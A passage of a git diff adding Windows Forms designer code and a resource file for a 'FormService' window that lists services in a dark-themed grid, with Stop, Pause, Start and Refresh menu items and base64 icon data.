DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormService)); + this.metroGrid1 = new MetroGrid(); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.killToolStripMenuItem = new ToolStripMenuItem(); + this.timer1 = new Timer(this.components); + this.pauseToolStripMenuItem = new ToolStripMenuItem(); + this.startToolStripMenuItem = new ToolStripMenuItem(); + this.resfreshToolStripMenuItem = new ToolStripMenuItem(); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.metroContextMenu1.SuspendLayout(); + this.SuspendLayout(); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGrid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(23, 63 /*0x3F*/); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.Size = new Size(713, 459); + this.metroGrid1.Style = MetroColorStyle.Lime; + this.metroGrid1.TabIndex = 13; + this.metroGrid1.Theme = MetroThemeStyle.Dark; + this.metroContextMenu1.Items.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.killToolStripMenuItem, + (ToolStripItem) this.pauseToolStripMenuItem, + (ToolStripItem) this.startToolStripMenuItem, + (ToolStripItem) this.resfreshToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + this.metroContextMenu1.Size = new Size(181, 114); + this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.killToolStripMenuItem.Name = "killToolStripMenuItem"; + this.killToolStripMenuItem.Size = new Size(180, 22); + this.killToolStripMenuItem.Text = "Stop"; + this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.pauseToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.pauseToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.pauseToolStripMenuItem.Name = "pauseToolStripMenuItem"; + this.pauseToolStripMenuItem.Size = new Size(180, 22); + this.pauseToolStripMenuItem.Text = "Pause"; + this.pauseToolStripMenuItem.Click += new EventHandler(this.pauseToolStripMenuItem_Click); + this.startToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.startToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.startToolStripMenuItem.Name = "startToolStripMenuItem"; + this.startToolStripMenuItem.Size = new Size(180, 22); + this.startToolStripMenuItem.Text = "Start"; + this.startToolStripMenuItem.Click += new EventHandler(this.startToolStripMenuItem_Click); + this.resfreshToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.resfreshToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.resfreshToolStripMenuItem.Name = "resfreshToolStripMenuItem"; + this.resfreshToolStripMenuItem.Size = new Size(180, 22); + this.resfreshToolStripMenuItem.Text = "Resfresh"; + this.resfreshToolStripMenuItem.Click += new EventHandler(this.resfreshToolStripMenuItem_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(759, 545); + this.Controls.Add((Control) this.metroGrid1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormService); + this.Style = MetroColorStyle.Lime; + this.Text = "Service"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTaskMgr_Load); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.metroContextMenu1.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormService.resx b/Server/Server/Forms/FormService.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormService.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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